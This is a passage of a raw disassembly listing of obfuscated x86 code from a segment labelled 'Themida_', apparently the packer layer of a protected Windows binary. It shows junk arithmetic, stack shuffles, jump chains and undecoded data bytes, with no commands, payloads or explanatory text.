		jmp	loc_557E9E
; ---------------------------------------------------------------------------


loc_55194E:				; CODE XREF: Themida_:00551AE1j
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_559639
; ---------------------------------------------------------------------------
		db 1, 0F5h, 5Eh
		dd 4BE56h, 0F5010000h, 6582E95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55196A:				; CODE XREF: Themida_:00559230j
		pop	ebx
		mov	bl, cl
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		add	al, bl
		mov	bx, [esp]
		push	ebx
		jmp	loc_55561D
; ---------------------------------------------------------------------------


loc_551985:				; CODE XREF: Themida_:0055B5A1j
		or	eax, 1F227027h
		and	eax, 259513CBh
		or	eax, 7DA81272h
		jmp	loc_55BE57
; ---------------------------------------------------------------------------
		db 5, 28h, 0F1h
		dd 0C60196ECh, 8124048Bh, 4C4h
		db 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_552E32
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 22h
		dd 1161135h, 22EE81C6h,	0E9161135h, 2ABBh
; ---------------------------------------------------------------------------


loc_5519C4:				; CODE XREF: Themida_:00550AA8j
		add	ebp, ecx
		jmp	loc_5533B2
; ---------------------------------------------------------------------------


loc_5519CB:				; CODE XREF: Themida_:0055A1CFj
		xor	eax, ecx
		push	5ACh
		mov	[esp], eax
		xchg	edi, [esp]
		jmp	loc_55C093
; ---------------------------------------------------------------------------
byte_5519DD	db 0FFh, 77h, 1Ch	; DATA XREF: Themida_:00550688o
		dd 6658669Dh, 9C240419h, 0FFEDA6E9h, 0EDA1E9FFh, 6664FFFFh
		dd 98E90289h, 0FFFFFEDh, 5452C8B7h, 1EE9535Ah, 81000006h
		dd 87AD7C3h, 0C3295E35h, 4A6DBE56h, 9EE9786Ch
		db 96h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_551A1B:				; CODE XREF: Themida_:0055883Cj
		mov	esp, [esp]
		xchg	ecx, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_555B0D
; ---------------------------------------------------------------------------


loc_551A32:				; CODE XREF: Themida_:00557875j
		mov	[esp], ebx
		jmp	loc_55210C
; ---------------------------------------------------------------------------
aXIbsvFstm	db '¹ÄX³ié‚&~FéTŒ',0
		align 2
		dw 0C788h
		dd 88FC8850h, 1C8B58E5h, 0E2895224h, 1754E9h, 99685100h
		dd 89000007h, 0A8B7241Ch, 0B252D7F6h, 5AD7302Ah, 0CFFECFFEh
		dd 51B551h, 506659EFh, 0C7285BB0h, 0F9885866h, 104BE9h
		dd 24048900h, 0B8E9E089h, 0B8000018h, 1BDA4702h, 27F168h
		dd 241C8900h, 691831BBh, 0F7F38106h, 0C126D22Bh, 814B04E3h
		dd 8D835DEBh, 9B50527h,	0D8014FA4h, 0A409B52Dh,	0C5015B4Fh
		dd 4C58358h, 3D4B68h, 242C8900h, 42474FFh, 83242C8Bh, 0F3E904C4h
		db 24h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_551ADF:				; CODE XREF: Themida_:0055B9FFj
		sub	ebx, ebp
		jmp	loc_55194E
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0C4815924h, 4, 4C181h, 96680000h, 89000043h,	63E92414h
		db 6Dh,	2 dup(0)
aM0Rpsse	db '¬0ØRPééE',0         ; DATA XREF: Themida_:0055059Co
		db 0
; ---------------------------------------------------------------------------


loc_551B0D:				; CODE XREF: Themida_:0055580Bj
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	ebx
		mov	ebx, 497E1853h
		push	edx
		mov	edx, 1813783Eh
		xor	ebx, edx
		jmp	loc_559F13
; ---------------------------------------------------------------------------


loc_551B31:				; CODE XREF: Themida_:00555670j
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_557A11
; ---------------------------------------------------------------------------


loc_551B3C:				; CODE XREF: Themida_:00551BD8j
		add	ebp, 4
		push	edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		xchg	ebp, [esp]
		jmp	loc_550EC5
; ---------------------------------------------------------------------------
byte_551B53	db 66h			; DATA XREF: Themida_:00550504o
		dd 0E9240C8Bh, 9C91h, 8B243487h, 0D3662424h, 0E99C2424h
		dd 0FFFFEC27h
aMsmo		db 'ލ',0             ; DATA XREF: Themida_:00550580o
		align 2
		dw 0BA52h
		dd 11B7308Ch, 13F4E9h, 74FF5300h, 1C8B0424h, 4C48324h
		dd 5C24048Fh, 7E53E9h, 48F5400h, 4EC8324h, 56242C89h, 468h
		dd 0FC02E900h, 0D7F6FFFFh, 0E979B050h, 16FBh, 0EB88535Ah
		dd 3BE9DA88h, 1000097h,	81E959CFh
		db 2Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_551BC3:				; CODE XREF: Themida_:00558811j
		push	57FBh
		mov	[esp], edi
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		mov	edi, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_551B3C
; ---------------------------------------------------------------------------
		db 0E9h, 0B1h, 0EBh
		dd 0D029FFFFh, 21E95256h, 100007Bh, 48B5FFDh, 4C48124h
		dd 87000000h, 665C242Ch, 2404AB0Fh, 0EB8DE99Ch,	0C87FFFFh
		dd 24248B24h, 24148B66h, 83595451h, 76E904ECh, 5C00006Ah
		dd 0C281C201h, 15FE4788h, 0FFEB6AE9h, 59E959FFh, 80000052h
		dd 0C3003DC3h, 283DB050h, 0B76858C3h, 8900004Bh, 0B7532404h
		dd 907EE9FCh, 0E2890000h, 4C281h, 0F0E90000h, 53000029h
		dd 0C7B48FB3h, 305BDC28h, 45866E6h, 0A42CC6h, 53A404F0h
		dd 0E9501AB3h, 6C71h, 34FFE800h, 3FE95924h
		db 80h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_551C7F:				; CODE XREF: Themida_:0055B1DBj
		mov	[esp], ebx
		push	6456h
		mov	[esp], ecx
		mov	ecx, 313E6790h
		neg	ecx
		jmp	loc_55A1E4
; ---------------------------------------------------------------------------
		dw 815Ah
		dd 4ECh, 240C8900h, 0A877E9h, 56F50100h, 0E70318BEh, 8EEC13Fh
		dd 7F46EE81h, 0F501D5A7h, 9EDDE95Eh, 0EF310000h, 386EE9h
		db 0
; ---------------------------------------------------------------------------


loc_551CC5:				; CODE XREF: Themida_:0055AF34j
		xchg	ebp, [esp]
		jmp	loc_558E04
; ---------------------------------------------------------------------------


loc_551CCD:				; CODE XREF: Themida_:00555CBBj
		push	ecx
		jmp	loc_5562DF
; ---------------------------------------------------------------------------
aSb		db ' ÎéB"',0
		align 2
		dw 0EA81h
		dd 0C3E10435h, 815AD189h, 0EE6F9BC9h, 547BE92Fh, 0EE680000h
		dd 0E9000038h, 37A0h, 0B753D000h, 5BF80065h, 1105E9h, 0C0B60F00h
		dd 0E98734FFh, 0FFFFEA83h, 0FFEA7EE9h, 0EA79E9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551D1A:				; CODE XREF: Themida_:0055662Ej
		sub	eax, ecx
		pop	ecx
		sub	edx, eax
		mov	eax, [esp]
		add	esp, 4
		neg	edx
		not	edx
		sub	edx, 0FFFFFFFFh
		jmp	loc_5524E6
; ---------------------------------------------------------------------------


loc_551D34:				; CODE XREF: Themida_:0055AEADj
		push	ebx
		push	6A453C96h
		pop	ebx
		push	ebp
		mov	ebp, 654097Eh
		add	ebp, 1
		push	edi
		mov	edi, 5C751431h
		or	ebp, edi
		jmp	loc_5596C6
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 2C48124h, 80000000h,	0D0280FEAh, 4EC835Ah, 0B6241489h
		dd 4CE8093h, 0F686B353h, 5D80E9DBh, 0E95B0000h,	87FDh
dword_551D7C	dd 240C8B66h, 8904EC83h, 8B542434h, 0C4832434h,	6EC3E904h
					; DATA XREF: Themida_:0055073Co
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_551D92:				; CODE XREF: Themida_:00559927j
		xor	edi, 4E1D54E9h
		add	edx, edi
		pop	edi
		and	eax, edx
		mov	edx, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_55225B
		push	dword ptr [edi+28h]
		push	ebp
		mov	ebp, 15B45EB8h
		add	dword ptr [esp+4], 2EB0086Eh
		jmp	loc_554B4F
; ---------------------------------------------------------------------------
		db 0BDh, 0AFh, 50h
		dd 0C0E965F2h
		db 26h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_551DCB:				; CODE XREF: Themida_:00552B67j
		and	al, bl
		pop	ebx
		sub	esp, 4
		jmp	loc_55B262
; ---------------------------------------------------------------------------
		db 66h,	31h, 0F7h
		dd 66FE3166h, 3166F731h, 3366243Ch, 3166243Ch, 53E9243Ch
		dd 3100005Dh, 240C8BCBh, 4C481h, 21E90000h, 29000022h
		dd 86685DE8h, 89000042h, 0EC81241Ch, 4,	0BD242C89h, 72BB30C1h
		dd 41F4E955h, 0BB530000h, 7B6554C3h, 8108EBC1h,	69549AE3h
		dd 0EBC14359h, 0BF5706h, 29000000h, 5FFB87DFh, 9EABE9h
		dd 4C18100h, 55000000h,	0C14D9FBDh, 0BDED8158h,	52785E15h
		dd 5604F4BAh, 9D1E904h,	0C3810000h, 7CEC2C19h, 241C335Ah
		dd 33241C31h, 248B241Ch, 240CFE24h, 0E915E99Ch,	8166FFFFh
		dd 66067EEFh, 0F781665Bh, 89662ECAh, 243C8BF9h,	81E78957h
		dd 4C7h, 4C78300h, 0E9243C87h, 27BBh, 24048F5Fh, 2824248Bh
		dd 0E99C2404h, 3C70h, 8104C483h, 625744EBh, 2199E93Ch
		dd 0EC810000h, 2, 240C8966h, 4353E950h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_551ED2:				; CODE XREF: Themida_:0055A915j
		pop	ebx
		and	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_55A14E
; ---------------------------------------------------------------------------
		dw 0D2F7h
		dd 0A25AE9h
		db 0
; ---------------------------------------------------------------------------


loc_551EE5:				; CODE XREF: Themida_:005514E3j
		mov	ebp, [esp]
		add	esp, 4
		add	esp, 4
		shr	ebp, 3
		xor	ebp, 9D10822h
		push	esi
		mov	esi, 2854539Fh
		xor	ebp, esi
		pop	esi
		jmp	loc_552956
; ---------------------------------------------------------------------------
		db 0E9h, 89h, 0E8h
		dd 0BF57FFFFh, 4, 0AAE9FE01h, 0F700003Ah, 216AE9D1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_551F1E:				; CODE XREF: Themida_:00559C9Aj
		mov	ecx, [esp]
		jmp	loc_5592C4
; ---------------------------------------------------------------------------


loc_551F26:				; CODE XREF: Themida_:00558397j
		sub	ecx, edx
		push	eax
		mov	eax, 4A755836h
		sub	eax, 72946E31h
		sub	eax, 75D12F98h
		push	esi
		mov	esi, 7B167BFCh
		neg	esi
		sub	esi, 0D736AB0h
		or	esi, 33322C2h
		sub	esi, 0A802DC65h
		add	eax, esi
		pop	esi
		jmp	loc_550F50
; ---------------------------------------------------------------------------


loc_551F5A:				; CODE XREF: Themida_:0055BB2Dj
		add	esp, 4
		push	edi
		mov	edi, 4
		add	edx, edi
		mov	edi, [esp]
		add	esp, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		or	eax, eax
		jz	loc_559BDC
		push	eax
		push	479Fh
		mov	[esp], edi
		jmp	loc_55CB32
; ---------------------------------------------------------------------------
		db 5Fh
		dd 4C181h, 0C870000h, 24248B24h, 22868h, 24148900h, 0E904EC83h
		dd 50C1h
; ---------------------------------------------------------------------------


loc_551FA4:				; CODE XREF: Themida_:00559DA4j
		xor	ah, 0E0h
		push	ebx
		mov	bl, 0A8h
		shl	bl, 5
		jmp	loc_556C4D
; ---------------------------------------------------------------------------
		dw 0C83Bh
		dd 0F72CE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551FBA:				; CODE XREF: Themida_:00558BF3j
		mov	ebx, 15FC0D8Dh
		not	ebx
		or	ebx, 65B86552h
		xor	ebx, 0EFBBF776h
		add	eax, ebx
		pop	ebx
		add	eax, 4
		jmp	loc_55C2E2
; ---------------------------------------------------------------------------
		dd 0E904C483h, 10F7h, 5C241C87h, 5B66D830h, 0B60FC330h
		dd 148B66C0h, 3B5EE924h, 0C8B0000h, 1CCFE924h, 0B4500000h
		dd 0F8E480E7h, 0F480D4F6h, 37C48060h, 489DE9h, 0EC815800h
		dd 4, 54243489h, 5E2434FFh, 8B97E9h, 7CB8BB00h,	0EBC1674Ch
		dd 4EFDE906h, 315F0000h, 0C1895DE8h, 8324048Bh,	0C80104C4h
		dd 95BFE9h
		db 0
; ---------------------------------------------------------------------------


loc_552045:				; CODE XREF: Themida_:0055682Bj
		shl	ah, 8
		and	ah, 9Fh
		xor	ah, 68h
		jmp	loc_559D97
; ---------------------------------------------------------------------------


loc_552053:				; CODE XREF: Themida_:00554211j
		push	eax
		mov	ah, 0CDh
		sub	bl, ah
		pop	eax
		sub	bl, al
		push	ecx
		mov	cl, 0CFh
		jmp	loc_5515C4
; ---------------------------------------------------------------------------
		db 0Fh
		dd 34FFC0B6h, 24048B87h, 2C8B5455h, 0E6895624h,	4C681h
		dd 0C6830000h, 24348704h, 4A83E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_552086:				; CODE XREF: Themida_:005547FAj
		push	esi
		mov	esi, 376A5712h
		not	esi
		neg	esi
		shl	esi, 7
		and	esi, 40255598h
		push	ecx
		mov	ecx, 17963FC8h
		xor	esi, ecx
		pop	ecx
		add	esi, 3EF114F8h
		jmp	loc_55B996
; ---------------------------------------------------------------------------


loc_5520AD:				; CODE XREF: Themida_:00553CC0j
		push	esi
		mov	esi, 1AA7442Bh
		dec	esi
		xor	esi, 561977BEh
		add	esi, 11F6CAEh
		add	esi, 6EE3219Fh
		neg	esi
		sub	esi, 433F3E1Bh
		add	edx, esi
		pop	esi
		xchg	edx, [esp]
		pop	esp
		or	eax, eax
		jz	loc_55C54F
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_55132B
; ---------------------------------------------------------------------------
		dw 0FF57h
		dd 8B042474h, 53E9243Ch, 53000052h, 5BB215B7h, 285BFA28h
		dd 0E9525AD0h, 5D61h
; ---------------------------------------------------------------------------


loc_55210C:				; CODE XREF: Themida_:00551A35j
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ecx
		jmp	loc_552969
; ---------------------------------------------------------------------------
		dd 0E9242C8Bh, 0FFFFF065h, 0BF57535Ah, 3D9363ADh, 5EEBE781h
		dd 0EF8103C1h, 0AA4C0314h, 0E95FFB89h, 934Bh, 52E38953h
		dd 0A755BDBAh, 2BF2812Fh, 0F76C7F12h, 6EF281DAh, 1BC27B8h
		dd 0BF575AD3h, 4, 875FFB01h, 0E95C241Ch, 6C12h,	1AE9DE01h
		db 43h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55216F:				; CODE XREF: Themida_:0055986Bj
		xchg	edx, [esp]
		mov	esp, [esp]
		push	ebp
		jmp	loc_557CD6
; ---------------------------------------------------------------------------
		db 2Dh
		dd 6EC041E7h, 7F1A492Dh, 5C8012Ch, 2C7F1A49h, 0C041E705h
		dd 0D7E9596Eh, 59000067h, 685EF701h, 2C8Bh, 0FFED9FE9h
		dd 0D1F766FFh, 240C8766h, 13DDE9h, 17FDBB00h, 6BE91BF0h
		dd 66FFFFEEh, 66241C89h, 882EE952h, 4890000h, 283FE924h
		dd 554B0000h, 5F81E9h, 24148900h, 2CE9E289h, 28000078h
		dd 3DCFE9E8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5521E6:				; CODE XREF: Themida_:0055772Cj
		mov	esi, [esp]
		add	esp, 4
		sub	ecx, 67FE7758h
		sub	eax, ecx
		pop	ecx
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		jmp	loc_55391B
; ---------------------------------------------------------------------------
		db 68h,	0BCh, 13h
		dd 0C2E90000h, 81FFFFFFh, 1FB6FFEDh, 5DE9010Eh,	2474FF51h
		dd 251FE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_552226:				; CODE XREF: Themida_:00554EA1j
		add	esp, 4
		jmp	loc_553A9F
; ---------------------------------------------------------------------------


loc_55222E:				; CODE XREF: Themida_:00559830j
		mov	[esp], eax
		push	ecx
		mov	ecx, 5FBD47FFh
		inc	ecx
		jmp	loc_555CAC
; ---------------------------------------------------------------------------


loc_55223D:				; CODE XREF: Themida_:0055B246j
		mov	ecx, 2A8A43CFh
		not	ecx
		not	ecx
		jmp	loc_555477
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0FFE542E9h, 53C8FEFFh, 0BFE951B3h
		db 18h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55225B:				; CODE XREF: Themida_:00551DA5j
					; Themida_:00558336j ...
		push	dword ptr [edi+24h]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	ebp
		push	esp
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_5558BD
; ---------------------------------------------------------------------------


loc_552273:				; CODE XREF: Themida_:0055CAA2j
		or	edi, 49B738D9h
		shl	edi, 8
		shr	edi, 1
		jmp	loc_558C73
; ---------------------------------------------------------------------------
		db 0BEh
		dd 23D91A7Ch, 361BE9h
		db 0
; ---------------------------------------------------------------------------


loc_55228D:				; CODE XREF: Themida_:005571FCj
		add	eax, 0F7F7FBFBh
		jmp	loc_556D73
; ---------------------------------------------------------------------------
byte_552297	db 66h			; DATA XREF: Themida_:00550628o
		dd 0E9240C8Bh, 38CCh
dword_5522A0	dd 207F83ADh, 0FF840F00h, 52000059h, 2343E9h, 55E7B900h
					; DATA XREF: Themida_:005506E4o
		dd 74E97800h, 42000082h, 711DE9h
		db 0
; ---------------------------------------------------------------------------


loc_5522C1:				; CODE XREF: Themida_:005537DCj
		pop	ebp
		add	edi, esi
		pop	esi
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		add	esp, 4
		shr	ecx, 6
		push	ebp
		push	eax
		mov	eax, esp
		jmp	loc_558D4D
; ---------------------------------------------------------------------------


loc_5522E1:				; CODE XREF: Themida_:00554D4Dj
		push	edx
		not	dword ptr [esp]
		jmp	loc_558562
; ---------------------------------------------------------------------------
aMsug		db '¬éã£',0             ; DATA XREF: Themida_:00550684o
		align 10h
		db 'h =',0
		dd 24248900h, 4240481h,	8B000000h, 59E92414h, 0F7000011h
		dd 4737E9DBh, 15E0000h,	243C8BFBh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	6B8h
		mov	[esp], ebx
		jmp	loc_5548AA
; ---------------------------------------------------------------------------
		dd 4C381h, 0E6E90000h, 8FFFFFF4h, 4812404h, 424h, 9396E900h
		dd 0AC680000h, 89000071h, 8B54243Ch, 0E956243Ch, 6AB3h
; ---------------------------------------------------------------------------


loc_552360:				; CODE XREF: Themida_:005508E0j
		sub	edi, ebp
		jmp	loc_55C987
; ---------------------------------------------------------------------------
		db 0FFh
		dd 83582434h, 0E95104C4h, 3AA3h, 3D2EC581h, 895B3845h
		dd 46E95DE9h, 0FF000029h, 57592434h, 0B8505F54h, 4, 1F57B850h
		dd 0F7405436h, 50B6E9D8h, 0E0C10000h, 0FFFC2D07h, 0C301EC37h
		dd 4C38158h, 0E9000000h, 918Dh,	4B8h, 58C30100h, 8B241C87h
		dd 34FF2424h, 0EC815824h, 4, 0E9240489h, 6A0Ah,	5202C283h
		dd 42474FFh, 36B5E9h
		db 0
; ---------------------------------------------------------------------------


loc_5523E1:				; CODE XREF: Themida_:00553F54j
		mov	[esp], edx
		push	edi
		push	211A24FBh
		pop	edi
		jmp	loc_550992
; ---------------------------------------------------------------------------


loc_5523F0:				; CODE XREF: Themida_:0055353Aj
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		add	esp, 4
		jmp	loc_550793
; ---------------------------------------------------------------------------
		dd 4B9h, 0F7A9E900h, 0F681FFFFh, 34234C1h, 96C6814Eh, 1F7AFEEh
		dd 24348BF5h, 81E18951h, 4C1h, 4C18300h, 0E9240C87h, 81D4h
		dd 5204C483h, 835051B6h, 38E904ECh
		db 99h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_552447:				; CODE XREF: Themida_:00552B8Dj
		shl	esi, 3
		jmp	loc_556193
; ---------------------------------------------------------------------------


loc_55244F:				; CODE XREF: Themida_:0055147Cj
		pop	esi
		add	esi, eax
		pop	eax
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_555157
; ---------------------------------------------------------------------------
		dd 0AC195E68h, 814F5F1Dh, 0AC1959F7h, 0E959571Dh, 7D10h
		dd 4C781h, 68530000h, 4D19h, 51242C89h,	51D7E9h, 4EC8100h
		dd 89000000h, 4BA2414h,	1000000h, 55AE9D7h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5524A2:				; CODE XREF: Themida_:0055C420j
		mov	ebp, 5F2558BCh
		shr	ebp, 1
		not	ebp
		shl	ebp, 7
		or	ebp, 7120343Eh
		add	ebp, 0DA4210F0h
		jmp	loc_554E50
; ---------------------------------------------------------------------------
		db 1
aBEIS		db '×ÇE,‰~é´*',0
		align 4
		dd 5A28EB81h, 0C3815B73h, 7AA912EEh, 0E924348Bh, 0FFFFE68Eh
		dd 56BFE950h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5524E6:				; CODE XREF: Themida_:00551D2Fj
		push	ebp
		jmp	loc_55A55A
; ---------------------------------------------------------------------------
		dd 0F5246FBEh, 8BF23172h, 0C4832434h, 80ED8104h, 1778453h
		dd 80C581D5h, 5A778453h, 0FFFFBA52h, 0D529FFFFh, 7D17E95Ah
		dd 0C4830000h, 16BBE904h, 0E95A0000h, 0FFFFE6BCh
; ---------------------------------------------------------------------------


loc_552524:				; CODE XREF: Themida_:005562E6j
		pop	eax
		add	eax, 689B2133h
		jmp	loc_55BE38
; ---------------------------------------------------------------------------
byte_55252F	db 0FFh			; DATA XREF: Themida_:00550594o
		dd 48B2434h, 4C48124h, 51000000h, 0BA525954h, 30FC6FDFh
		dd 194BE9h
		db 0
; ---------------------------------------------------------------------------


loc_552549:				; CODE XREF: Themida_:0055653Fj
		add	edx, 21F1060Ah
		and	ebp, edx
		jmp	loc_557B4B
; ---------------------------------------------------------------------------
aYsu		db 'YéU$',0
		align 4


loc_55255C:				; CODE XREF: Themida_:00557C84j
		jmp	loc_550793
; ---------------------------------------------------------------------------
		db 68h,	0CAh, 6Dh
		dd 1C890000h, 2474FF24h, 50FE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_552572:				; CODE XREF: Themida_:0055B4A2j
		inc	esi
		add	esi, 0FFFFFFFFh
		push	esi
		dec	dword ptr [esp]
		pop	esi
		push	edi
		jmp	loc_559FED
; ---------------------------------------------------------------------------


loc_552581:				; CODE XREF: Themida_:00552878j
		push	esp
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		add	ebx, 4
		push	edi
		jmp	loc_5568D4
; ---------------------------------------------------------------------------


loc_552595:				; CODE XREF: Themida_:00550A4Fj
		not	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		sub	ecx, 0EE8DF19Ch
		sub	ebx, 5A1F78F5h
		sub	ebx, 7D66589h
		add	ebx, ecx
		add	ebx, 7D66589h
		add	ebx, 5A1F78F5h
		pop	ecx
		add	ebx, 2
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		jmp	loc_55C9D5
; ---------------------------------------------------------------------------


loc_5525DD:				; CODE XREF: Themida_:00555A22j
		mov	edx, 39F85738h
		jmp	loc_556CB1
; ---------------------------------------------------------------------------
		db 87h
		dd 0E95C241Ch, 4631h, 0F53149B8h, 58C20979h, 3107CA81h
		dd 0BF57750Ch, 74C01C7Bh, 2490EF81h, 0B1E9F6C0h, 8300009Bh
		dd 0B56804C2h, 0E9000000h, 295Ch, 5562BA52h, 0C8E918DCh
		dd 8900002Bh, 241C8BDEh, 8904EC83h, 0E954240Ch,	3D3Bh
		dd 808CE958h, 50E90000h
		db 0E1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_552643:				; CODE XREF: Themida_:0055C7B2j
		push	ecx
		mov	ecx, 2FF347ECh
		sub	ecx, 16084704h
		or	ecx, 3B1A0431h
		sub	ecx, 96D6B9F5h
		add	edx, ecx
		pop	ecx
		xor	ecx, edx
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_55C17D
; ---------------------------------------------------------------------------
		db 89h
		dd 0C8B951E2h, 81386A43h, 0D86816C9h, 0FEF18172h, 552BC137h
		dd 0C4A3E4BDh, 0E9E901AEh, 2A16h, 66E9D529h, 8B00005Dh
		dd 0C481241Ch, 4, 9ECB951h, 0CB291CA4h,	0CBB95159h, 15AB364h
		dd 240C8BCBh, 4C481h, 0C3010000h, 984FE9h, 4C48100h, 0E9000000h
		dd 0A1Ah
; ---------------------------------------------------------------------------


loc_5526C8:				; CODE XREF: Themida_:00552F33j
		pop	edx
		shl	ecx, 8
		push	432Bh
		mov	[esp], edx
		mov	edx, 7A1E62Eh
		jmp	loc_5579CF
; ---------------------------------------------------------------------------
		dw 0CA01h
		dd 24148759h, 24048F5Ch, 2404315Ch, 0FFE0A2E9h,	45BF57FFh
		dd 813DE846h, 0CBDE0BC7h, 5FFB01FEh, 0EB81EB01h, 3CB42450h
		dd 2C3815Dh, 87000000h,	665C241Ch, 83C8B60Fh, 3C8904ECh
		dd 0E95F5424h, 0FFFFFD54h
; ---------------------------------------------------------------------------


loc_552724:				; CODE XREF: Themida_:00555515j
		pop	eax
		shl	ebx, 1
		xor	ebx, 94D0DDF1h
		mov	edi, ebx
		jmp	loc_55B1BC
; ---------------------------------------------------------------------------
dword_552734	dd 96866ACh, 14896631h,	286BB624h, 2C5A66F0h, 232CDAh
					; DATA XREF: Themida_:0055061Co
		dd 9BE953D8h, 0B1000025h, 66C800F9h, 32186859h,	14890000h
		dd 536CB224h, 511CB652h, 0EF88F588h, 0FA285A59h, 0B252505Bh
		dd 5AB652EDh, 2CF0E9h, 0E9F30100h, 0C9Ah, 5704C483h, 8E4FC9BFh
		dd 3BC78125h, 1DA71B0h,	8B17E9F9h, 575B0000h, 0B6E9E789h
		db 3Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55279F:				; CODE XREF: Themida_:005540BFj
		add	ecx, edi
		pop	edi
		and	ecx, 4D0166B2h
		xor	ecx, 0B56E6A8h
		xor	esi, ecx
		jmp	loc_558798
; ---------------------------------------------------------------------------
		db 1, 0FDh, 5Fh
		dd 815DE829h, 110D36C3h, 4D7EE94Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5527C6:				; CODE XREF: Themida_:005592D4j
		pop	eax
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	eax
		mov	eax, 4
		jmp	loc_550BF3
; ---------------------------------------------------------------------------


loc_5527DB:				; CODE XREF: Themida_:00550DDFj
		add	bl, cl
		jmp	loc_55AD80
; ---------------------------------------------------------------------------
		dw 2C87h
		dd 0A8E95C24h, 5FFFFDFh, 622F3DF9h, 0FFE547E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5527F5:				; CODE XREF: Themida_:00556B8Fj
		mov	esi, 1AF21369h
		inc	esi
		jmp	loc_554432
; ---------------------------------------------------------------------------
aSix		db '\鈕',0
		align 2


loc_552806:				; CODE XREF: Themida_:0055898Dj
		xchg	eax, [esp]
		jmp	loc_55178C
; ---------------------------------------------------------------------------
		dw 487h
		dd 0C5815C24h, 2, 31242C33h, 2C33242Ch,	24248B24h, 9C240CD2h
		dd 0FFDF66E9h, 0E8E951FFh, 29FFFFE4h, 34E95AD5h, 81000078h
		dd 1546DEE2h, 57BF5741h, 81561075h, 5E1A06C7h, 5FFA01CFh
		dd 5823E9h, 4C18100h, 81000000h, 4C1h, 919EE900h, 0F1680000h
		dd 89000023h, 0E957240Ch, 8F3Eh
; ---------------------------------------------------------------------------


loc_552874:				; CODE XREF: Themida_:00550E2Cj
		mov	eax, [esp]
		push	ebx
		jmp	loc_552581
; ---------------------------------------------------------------------------


loc_55287D:				; CODE XREF: Themida_:00559D30j
		xor	eax, esi
		sub	esp, 4
		mov	[esp], esi
		push	338Eh
		mov	[esp], ecx
		push	dword ptr [esp]
		jmp	loc_555323
; ---------------------------------------------------------------------------
aFqFy4		db 'fQ±|(ÈfY4',0
		dw 0C630h
		dd 8324048Bh, 0E95304C4h, 44D6h
dword_5528B0	dd 68BD55ADh, 81613548h, 0F27398C6h, 81EE2966h,	0F27398EEh
					; DATA XREF: Themida_:00550524o
		dd 0C6815D66h, 49F5135h, 6519EE81h, 0C681116Bh,	6D6729B0h
		dd 1C0EE81h, 0ADE95785h
		db 3, 2	dup(0)
; ---------------------------------------------------------------------------


loc_5528E3:				; CODE XREF: Themida_:005517A3j
		mov	ebp, esp
		push	esi
		mov	esi, 2D3324h
		push	ecx
		mov	ecx, 55783EDAh
		not	ecx
		jmp	loc_55A210
; ---------------------------------------------------------------------------
		dd 6154D7BEh, 2A9D0522h, 0F00132C7h, 0C72A9D2Dh, 1ED3E932h
		dd 14890000h, 4BA24h, 7CE90000h, 0BF00004Fh, 3D4526A5h
		dd 6CCAE781h, 0BA5242BDh, 56C3F95h, 0E0C7C281h,	0D73129BEh
		dd 71EE95Ah
